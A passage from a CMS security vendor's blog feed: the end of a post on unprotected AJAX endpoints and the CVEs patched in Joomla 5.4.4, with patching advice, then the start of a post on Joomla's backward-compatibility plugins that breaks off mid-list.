&lt;p&gt;File paths, role names, SQL fragments - nothing from the request body should be used directly. The King Addons privilege escalation happened because the plugin accepted &lt;code&gt;user_role=administrator&lt;/code&gt; from POST data without question. The HUSKY vulnerability happened because a file path was used in an inclusion without sanitization.&lt;/p&gt;
&lt;h3&gt;Audit your existing AJAX handlers&lt;/h3&gt;
&lt;p&gt;If you maintain a WordPress plugin or Joomla extension, search your codebase for &lt;code&gt;wp_ajax_&lt;/code&gt;, &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt;, and &lt;code&gt;com_ajax&lt;/code&gt; handlers. For each one, verify: does it check the user’s capabilities? Does it validate all input? Could a subscriber (or a guest) reach it?&lt;/p&gt;
&lt;p&gt;The Astroid fix was a single line of code. The Novarain fix was similar. These are not hard problems to solve - they are easy problems that no one solved until attackers found them first.&lt;/p&gt;
&lt;h2&gt;What else was fixed in Joomla 5.4.4?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4 security release&lt;/a&gt; on 31 March 2026 patched six CVEs in total. Beyond the AJAX and API issues already discussed:&lt;/p&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Component&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;th&gt;Reporter&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031-20260305-core-arbitrary-file-deletion-in-com-joomlaupdate.html&quot;&gt;CVE-2026-23898&lt;/a&gt;&lt;/td&gt;&lt;td&gt;com_joomlaupdate&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;Arbitrary file deletion via the autoupdate server mechanism&lt;/td&gt;&lt;td&gt;Phil Taylor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1028-20260302-core-sql-injection-in-com-content-articles-webservice-endpoint.html&quot;&gt;CVE-2026-21630&lt;/a&gt;&lt;/td&gt;&lt;td&gt;com_content webservice&lt;/td&gt;&lt;td&gt;High impact&lt;/td&gt;&lt;td&gt;SQL injection in the articles API via improperly built order clauses&lt;/td&gt;&lt;td&gt;GitHub Security Lab, CyStack&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1029-20260303-core-xss-in-com-associations-comparison-view.html&quot;&gt;CVE-2026-21631&lt;/a&gt;&lt;/td&gt;&lt;td&gt;com_associations&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;XSS in the multilingual associations comparison view&lt;/td&gt;&lt;td&gt;UNC Pembroke researchers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1030-20260304-core-xss-in-various-article-title-outputs.html&quot;&gt;CVE-2026-21632&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Various article outputs&lt;/td&gt;&lt;td&gt;Moderate&lt;/td&gt;&lt;td&gt;XSS from unescaped article titles in multiple locations&lt;/td&gt;&lt;td&gt;Peter Vanderhulst&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;&lt;p&gt;CVE-2026-23898 - Reported by Phil Taylor&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031-20260305-core-arbitrary-file-deletion-in-com-joomlaupdate.html&quot;&gt;CVE-2026-23898&lt;/a&gt; is a high-severity arbitrary file deletion vulnerability in &lt;code&gt;com_joomlaupdate&lt;/code&gt;, reported by Phil Taylor (the author of this blog and founder of mySites.guru). The autoupdate server mechanism lacked input validation, allowing an attacker to delete any file on the server that the PHP process has access to - not just Joomla files, but anything the web server user can reach. The component responsible for keeping Joomla up to date had a security hole in it.&lt;/p&gt;&lt;p&gt;An attacker who can delete files can take a site offline, weaken its security configuration, or expose protected directories by removing &lt;code&gt;.htaccess&lt;/code&gt; or &lt;code&gt;web.config&lt;/code&gt;. File deletion vulnerabilities can also be chained with other attacks to escalate to full site takeover.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;CVE-2026-21630 is another high-impact endpoint vulnerability - SQL injection in the content API. That makes four of the six CVEs in this release targeting API or AJAX-adjacent attack surfaces.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru help when vulnerabilities like these drop?&lt;/h2&gt;
&lt;p&gt;Every hour between a security release and your update is an hour your sites are exposed with a known, published vulnerability.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru dashboard&lt;/a&gt; shows every connected site’s core version and extension versions at a glance. Filter by version to see exactly which sites need updating, without logging into each one individually.&lt;/p&gt;
&lt;p&gt;Need to know which sites run a specific vulnerable extension? The &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; indexes every plugin and extension across your entire portfolio and groups results by version number. This is how we flagged &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;724 agencies running vulnerable Smart Slider 3&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;8,297 sites with the Novarain Framework&lt;/a&gt; within hours of disclosure.&lt;/p&gt;
&lt;p&gt;Once you know what needs patching, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass update tool&lt;/a&gt; pushes updates to all affected sites in a single operation. For agencies managing dozens or hundreds of sites, this turns a full day’s work into a ten-minute task.&lt;/p&gt;
&lt;p&gt;After updating, the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; verifies each site by checking for modified core files, backdoors, and anything else that looks wrong. If a site was compromised before you could apply the patch, the audit catches the signs.&lt;/p&gt;
&lt;p&gt;Not sure whether your sites are at risk? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any Joomla or WordPress site to get an immediate assessment.&lt;/p&gt;
&lt;h2&gt;What should agency owners do right now?&lt;/h2&gt;
&lt;h3&gt;1. Update everything&lt;/h3&gt;
&lt;p&gt;If you run Joomla sites, update to 5.4.4 or 6.0.4 today. If you run WordPress sites, make sure Smart Slider 3 is on 3.5.1.34 or later. Check for the &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework&lt;/a&gt; (update to 3.3.13+) and the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework&lt;/a&gt; (update to 6.0.38+) on your Joomla sites.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mySites.guru can push updates across your entire portfolio&lt;/a&gt; from a single dashboard.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Joomla 5.4.4 may break existing plugins&lt;/p&gt;&lt;p&gt;The com_ajax ACL fix in 5.4.4 blocks all unauthenticated admin AJAX requests by default. If you have extensions that use admin AJAX endpoints without a Joomla session (including extensions that had their own authentication via API keys or custom tokens), those extensions will stop working after the update. Extensions that never had any authentication will also stop working, which is the intended outcome. Check for broken functionality in your admin AJAX workflows after updating. Extension developers need to either add the &lt;code&gt;#[AllowUnauthorizedAdministratorAccess]&lt;/code&gt; attribute to methods that legitimately need unauthenticated access, or ensure their handlers work within a valid Joomla admin session.&lt;/p&gt;&lt;/div&gt;
&lt;h3&gt;2. Audit your AJAX endpoints&lt;/h3&gt;
&lt;p&gt;Check what your extensions expose through &lt;code&gt;com_ajax&lt;/code&gt; on Joomla or &lt;code&gt;admin-ajax.php&lt;/code&gt; on WordPress. Look at which webservice endpoints are accessible and whether they are properly locked down. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru security audit&lt;/a&gt; catches many of these issues, but manual review of your extension stack is also worthwhile for custom or niche extensions.&lt;/p&gt;
&lt;h3&gt;3. Remove what you don’t use&lt;/h3&gt;
&lt;p&gt;Every installed extension is potential attack surface. If you have plugins or extensions you are not actively using, uninstall them. An extension you forgot about can still expose AJAX endpoints to the public internet.&lt;/p&gt;
&lt;h3&gt;4. Monitor for compromise&lt;/h3&gt;
&lt;p&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; so you are alerted immediately if any watched files are modified. Run the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; to check for backdoors that may have been installed before you patched, and learn &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;how to read the flags it raises&lt;/a&gt; before acting on the results.&lt;/p&gt;
&lt;h3&gt;5. Keep watching&lt;/h3&gt;
&lt;p&gt;This pattern is not going away. Joomla 5.4.4 added authentication to &lt;code&gt;com_ajax&lt;/code&gt; and WordPress already gates &lt;code&gt;wp_ajax_&lt;/code&gt; hooks behind a login check, but neither framework verifies authorization. That is still the developer’s job. Every new extension that ships an AJAX handler without a capability check is a potential vulnerability, and the only fix is developer education.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 6.0.4 and 5.4.4 Security and Bugfix Release&lt;/a&gt; - the official release announcement&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla Security Centre&lt;/a&gt; - full details on all six CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html&quot;&gt;CVE-2026-21629: com_ajax ACL hardening&lt;/a&gt; - the framework-level fix that confirms the pattern&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/known-issues/6.0.4/&quot;&gt;Joomla 6.0.4 known issues (B/C break)&lt;/a&gt; - the buried documentation of the com_ajax breaking change&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/47b48aeceae211ae8016cf1da2b821a0d0467f55&quot;&gt;com_ajax fix commit&lt;/a&gt; - the actual code change that flipped the default&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/components/component-examples/ajaxdemo/&quot;&gt;Joomla AjaxDemo example&lt;/a&gt; - the official AJAX example with no security checks&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/plugins/plugin-examples/ajax-plugin/&quot;&gt;Joomla AJAX plugin example&lt;/a&gt; - plugin AJAX example, also no auth/authz guidance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/com-ajax/&quot;&gt;Joomla com_ajax docs&lt;/a&gt; - com_ajax reference, no security warnings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/ajax/&quot;&gt;Joomla AJAX general docs&lt;/a&gt; - general AJAX docs, no auth/authz mention&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html&quot;&gt;OWASP AJAX Security Cheat Sheet&lt;/a&gt; - general AJAX security guidance&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/zoo-unauthenticated-file-upload-rce/&quot;&gt;A CVSS 10.0 unauthenticated upload in YOOtheme ZOO&lt;/a&gt; - a front-end submission handler that trusted the client-supplied &lt;code&gt;Content-Type&lt;/code&gt;, plus an unauthenticated SQL injection on the same component&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework Vulnerability&lt;/a&gt; - &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt; (CVSS 10.0), the textbook com_ajax auth bypass&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Vulnerability&lt;/a&gt; - CVE-2026-21627 (CVSS 9.5), fully unauthenticated com_ajax exploitation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Vulnerability&lt;/a&gt; - CVE-2026-3098 (CVSS 6.5), the WordPress admin-ajax.php equivalent&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all patched vulnerabilities in the same month, showing the breadth of the WordPress plugin security problem&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;Agency Security Guide&lt;/a&gt; - broader CMS security guidance for agencies&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>ajax</category><category>security</category><category>joomla</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/ajax-endpoints-cms-security-blind-spot.png" length="0" type="image/png"/></item><item><title>Joomla&apos;s Compat Plugin Is a Crutch, Not a Fix</title><link>https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-compat-plugin-is-a-crutch/</guid><description>Joomla&apos;s backward compatibility plugins keep broken extensions alive. Why that&apos;s technical debt, how to test without them, and how to recover.</description><pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every major Joomla release ships with a backward compatibility plugin. It maps old, deprecated class names to their new equivalents so extensions that haven’t been updated keep working. Most site owners leave it enabled and never think about it again.&lt;/p&gt;
&lt;p&gt;The compat plugin is a safety net with an expiry date. Each version gets &lt;strong&gt;removed&lt;/strong&gt; in the next major release. &lt;code&gt;plg_behaviour_compat&lt;/code&gt; (the Joomla 4 compatibility layer) shipped with Joomla 5 and is completely gone in Joomla 6. If any of your extensions still rely on those old class names, your site breaks on upgrade with a fatal error and a white screen.&lt;/p&gt;
&lt;p&gt;mySites.guru now tracks compat plugin status across all your connected sites. You can see at a glance which sites still have the compat layer enabled, and toggle it remotely to test readiness - without logging into each site individually.&lt;/p&gt;
&lt;h2&gt;What Do the Joomla Compat Plugins Actually Do?&lt;/h2&gt;
&lt;p&gt;There are two distinct plugins, each covering a different generation of deprecated code:&lt;/p&gt;
&lt;h3&gt;plg_behaviour_compat (Joomla 5 only, removed in Joomla 6)&lt;/h3&gt;
&lt;p&gt;This plugin provides class aliases for over 400 deprecated Joomla 4 class names. When an extension calls &lt;code&gt;JPlugin&lt;/code&gt;, &lt;code&gt;JTable&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt;, &lt;code&gt;JRegistry&lt;/code&gt;, &lt;code&gt;JModelAdmin&lt;/code&gt;, or any of the other legacy names that have existed since Joomla 1.0, the compat plugin redirects those calls to the Joomla 5 namespaced equivalents. It also handles ES5 JavaScript asset fallbacks and removed asset compatibility.&lt;/p&gt;
&lt;p&gt;It has three independently toggleable options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;classes_aliases&lt;/code&gt; - maps old class names to new ones (enabled by default). This one adds ~500+ PHP function calls per request and is the hardest to turn off safely.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;es5_assets&lt;/code&gt; - loads ES5 fallback JavaScript (enabled by default). Over 1000 lines of JSON data per request. Safe to disable on most sites.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;removed_asset&lt;/code&gt; - provides compatibility for removed JS/CSS assets (enabled by default). Minimal overhead (~15 lines of JSON). Also safe to disable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;plg_behaviour_compat6 (Joomla 5.4+, Joomla 6)&lt;/h3&gt;
&lt;p&gt;This is the newer compat plugin, introduced in Joomla 5.4 to give developers time to prepare for Joomla 6. On 5.4 it is an empty placeholder that loads nothing; it exists so that it is already installed and enabled when the site upgrades. On Joomla 6 it does the real work, with three options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;classes_aliases&lt;/code&gt; (Classes Aliases) - loads the same ~470 old J-prefixed class names (&lt;code&gt;JPlugin&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt;, &lt;code&gt;JTable&lt;/code&gt; and the rest) that the Joomla 5 plugin provided. On for sites upgraded from 5.4, off on fresh Joomla 6 installs&lt;/li&gt;
&lt;li&gt;&lt;code&gt;legacy_classes&lt;/code&gt; (Include Deprecated Classes) - provides the &lt;code&gt;\Joomla\CMS\Input\*&lt;/code&gt; and &lt;code&gt;\Joomla\CMS\Filesystem\*&lt;/code&gt; classes removed from the Joomla 6 core (enabled by default)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;removed_asset&lt;/code&gt; (Removed Assets) - empty stubs for JavaScript and CSS assets removed in Joomla 6 (enabled by default)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It also defines the &lt;code&gt;JPATH_PLATFORM&lt;/code&gt; constant, replaced by &lt;code&gt;_JEXEC&lt;/code&gt;. On new Joomla 6 installations, this plugin is installed but disabled, on the assumption that fresh installs don’t have legacy code. If an older extension then throws &lt;a href=&quot;https://mysites.guru/blog/joomla-class-jplugin-not-found/&quot;&gt;Class “JPlugin” not found&lt;/a&gt;, the plugin needs enabling and Classes Aliases switching on.&lt;/p&gt;
&lt;p&gt;Same pattern as before: the compat plugin arrives one minor version before the major release and gets removed in the version after that.&lt;/p&gt;
&lt;h2&gt;Why Is the Joomla 5 Compat Plugin Called “compat6”?&lt;/h2&gt;
&lt;p&gt;The naming trips people up. The “6” in &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; refers to the Joomla version it makes your code compatible &lt;strong&gt;with&lt;/strong&gt;, not the version it runs on. It provides the old class names and the removed J5 classes so your old code works on Joomla 6.&lt;/p&gt;
&lt;p&gt;Same logic for the original: &lt;code&gt;plg_behaviour_compat&lt;/code&gt; provides deprecated J4 classes so old code works on Joomla 5. There’s no number because it was the first one.&lt;/p&gt;























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Plugin name&lt;/th&gt;&lt;th&gt;Runs on&lt;/th&gt;&lt;th&gt;Provides&lt;/th&gt;&lt;th&gt;So your old code works on&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;J4 class aliases&lt;/td&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla 5.4+, 6&lt;/td&gt;&lt;td&gt;J4-era class aliases and removed J5 classes&lt;/td&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;Why Leaving the Compat Plugin Enabled Is Technical Debt&lt;/h2&gt;
&lt;p&gt;When the compat plugin is doing its job, everything looks fine. Your site works, your extensions work, no one complains. But underneath, you’re accumulating technical debt:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt; is gone in Joomla 6. If you upgrade to J6 with extensions that still need it, those extensions break immediately. The class doesn’t exist anymore, full stop.&lt;/p&gt;
&lt;p&gt;The sneaky part: because the compat plugin rewrites class references on the fly, there’s no log entry or warning that an extension is using deprecated code. Everything passes the Joomla pre-update check. Everything looks ready for the next version. Then you upgrade and find out it wasn’t.&lt;/p&gt;
&lt;p&gt;Smaller extension developers often don’t realise they have a problem either. They test on Joomla 5 with the compat plugin enabled (it’s on by default), their extension works, they ship it, and no one notices the dependency on deprecated classes until a client tries to run it on J6.&lt;/p&gt;
&lt;p&gt;There’s also a minor performance cost. The compat plugin runs on every request, loading class maps and checking aliases. Not huge, but unnecessary for extensions that have been properly updated.&lt;/p&gt;
&lt;h2&gt;Check Compat Plugin Status Across All Your Joomla Sites&lt;/h2&gt;
&lt;p&gt;We’ve added compat plugin tracking to the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 Technical Requirements&lt;/a&gt; tool. The new &lt;strong&gt;Compat Plugin&lt;/strong&gt; column shows the enabled/disabled state for every connected site at a glance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Green “Disabled” means the compat plugin is off and your site runs without the compatibility layer&lt;/li&gt;
&lt;li&gt;Yellow “Enabled” means the compat plugin is still active, so some extensions may depend on it&lt;/li&gt;
&lt;li&gt;Grey “N/A” means the plugin doesn’t apply to that Joomla version (e.g., J4 sites)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is included in all &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscriptions&lt;/a&gt; at no extra cost. Connect &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; and check them all from one screen.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Joomla 6 Technical Requirements hosting check showing PHP, database, update channel, and compat plugin status columns for every connected site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3194px) 3194px, 100vw&quot; width=&quot;3194&quot; height=&quot;2844&quot; src=&quot;https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_1wRGr2.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_2dOti0.webp 640w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_84N8d.webp 750w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_1YoTgp.webp 828w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_Zn5iT3.webp 1080w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_Z9FCvS.webp 1280w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_SEAyp.webp 1668w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_1q0CqU.webp 2048w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_Z1MdOp2.webp 2560w, https://mysites.guru/_astro/mysites-compat-hosting-check.tOLmZ-QU_1wRGr2.webp 3194w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;See compat plugin status for all your Joomla sites&lt;/p&gt;
  &lt;p&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Open Joomla 6 Compatibility Checker&lt;/a&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla5/compatibility&quot;&gt;Open Joomla 5 Compatibility Checker&lt;/a&gt;
  &lt;/p&gt;
  &lt;p&gt;Colour-codes every connected Joomla site&apos;s PHP version, database version, update channel, and compat plugin status. You need to be logged in.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Toggle Compat Plugins Remotely from mySites.guru&lt;/h2&gt;
&lt;p&gt;Beyond the overview page, there are two standalone audit checks under Extension Information on each site’s manage page:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backward Compatibility Plugin (J4 Classes)&lt;/strong&gt; - tracks &lt;code&gt;plg_behaviour_compat&lt;/code&gt; on J5 sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backward Compatibility Plugin (J5 Classes)&lt;/strong&gt; - tracks &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; on J5.4+ and J6 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both let you toggle the plugin on or off remotely. No need to log into the Joomla admin or touch the database. If you’re testing J6 readiness across multiple client sites, you can disable the compat plugin, check what breaks, and re-enable it all from one place.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Extension Information audit showing the Backward Compatibility Plugin check with a Changed status and toggle controls&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1940px) 1940px, 100vw&quot; width=&quot;1940&quot; height=&quot;470&quot; src=&quot;https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_2oDxWv.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_Z1tHSPV.webp 640w, https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_Z2vKKzV.webp 750w, https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_LoXSL.webp 828w, https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_25oK0s.webp 1080w, https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_Z2mz0R1.webp 1280w, https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_1uEdQX.webp 1668w, https://mysites.guru/_astro/mysites-compat-audit-tool.C1ewx9_n_2oDxWv.webp 1940w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There’s also a pivot page that shows the compat plugin status across every connected Joomla site on one screen, with toggle switches to enable or disable each one directly:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru pivot page showing backward compatibility plugin status for all connected Joomla sites with per-site toggle switches&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 3182px) 3182px, 100vw&quot; width=&quot;3182&quot; height=&quot;1900&quot; src=&quot;https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_Z2bzUpp.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_ZLpr3t.webp 640w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_1dRqEJ.webp 750w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_ZoN13I.webp 828w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_ZJqcWf.webp 1080w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_18FLLo.webp 1280w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_ZLwE1V.webp 1668w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_2a2uhh.webp 2048w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_nX55i.webp 2560w, https://mysites.guru/_astro/mysites-compat-pivot-page.C4wvgV1u_Z2bzUpp.webp 3182w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Warning&lt;/p&gt;
  &lt;p&gt;Disabling the compat plugin may crash your site if any extension still depends on deprecated classes. Always test on a staging copy first, or be prepared to re-enable it quickly using the same toggle.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How to Test Whether Your Extensions Need the Compat Plugin&lt;/h2&gt;
&lt;p&gt;The only reliable way to know is to disable it and see what breaks. Do this safely:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make a staging copy of your site. Never test this on production first.&lt;/li&gt;
&lt;li&gt;Disable the compat plugin from the Joomla admin (Extensions &amp;gt; Plugins &amp;gt; search for “compat”) or remotely via mySites.guru’s toggle.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Joomla 6 admin Plugins page filtered to show the Behaviour - Backward Compatibility 6 plugin with element compat6 enabled&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2486px) 2486px, 100vw&quot; width=&quot;2486&quot; height=&quot;826&quot; src=&quot;https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_ZaJMGG.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_ea32a.webp 640w, https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_2j0RDn.webp 750w, https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_fQJfA.webp 828w, https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_23M47v.webp 1080w, https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_1sVXwQ.webp 1280w, https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_1H37NR.webp 1668w, https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_Z23uLwF.webp 2048w, https://mysites.guru/_astro/joomla-compat-plugin-admin.BB6CUu1C_ZaJMGG.webp 2486w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ol&gt;
